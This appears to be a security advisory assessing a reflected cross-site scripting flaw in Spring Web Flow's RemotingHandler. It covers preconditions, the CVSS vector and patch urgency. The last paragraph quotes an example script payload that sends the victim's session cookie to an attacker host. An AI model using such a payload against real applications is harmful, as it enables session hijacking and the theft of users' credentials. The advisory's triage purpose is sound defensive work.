Spring Web Flow CVE-2026-40986

Exploitation specifically requires that the target application uses Spring Web Flow's JavaScript RemotingHandler component - applications that do not use this remoting feature are not affected. Additionally, the server must reflect attacker-controlled input content within error response bodies returned through the RemotingHandler (e.g., validation messages, exception details, or parameter echoing in error output). The CVSS vector confirms PR:L: at minimum, low-privilege authenticated access to the application is required, ruling out unauthenticated exploitation. UI:R confirms a victim user must be present and interact with the application flow for the injected script to execute in their browser context. AC:H limits exploitation to scenarios where the attacker can reliably engineer the reflected-error condition. Exploitation is further limited to the specific affected versions (2.5.0-2.5.1, 3.0.0-3.0.1, 4.0.0); deployments on other versions or those that do not expose RemotingHandler endpoints are not vulnerable.

The vendor-assigned CVSS 3.1 score of 4.8 (Medium) with vector AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:N accurately captures several meaningful constraints. High Attack Complexity (AC:H) reflects the requirement that the attacker must specifically engineer a scenario where controlled input surfaces in a server-side error response routed through the RemotingHandler. Low Privileges Required (PR:L) confirms that some level of authenticated access to the application is necessary. Required User Interaction (UI:R) means a victim must be present and interact with the targeted flow. Scope Unchanged (S:U) limits the blast radius to the user's current session context. No EPSS score was provided in available intelligence, so exploitation probability cannot be quantified. There is no CISA KEV listing and no known public proof-of-concept, making this a low-urgency finding in practice despite the High integrity impact rating. The High integrity impact (I:H) is justified because successful script injection can result in full session hijacking, credential theft, or unauthorized actions on behalf of the victim - but only under the enumerated preconditions. This is not a fire-drill vulnerability; teams should patch on a routine cycle rather than an emergency timeline.

An authenticated low-privilege user submits a crafted request to a Spring Web Flow RemotingHandler endpoint with a parameter value containing an HTML script payload (e.g., <script>document.location='https://attacker.example/steal?c='+document.cookie</script>) that the server reflects verbatim in an error response body. The RemotingHandler renders this body as HTML in the victim's browser, executing the script and transmitting the victim's session cookie to an attacker-controlled endpoint. No public proof-of-concept code has been identified at time of analysis, but the attack pattern is straightforward for anyone familiar with reflected XSS techniques.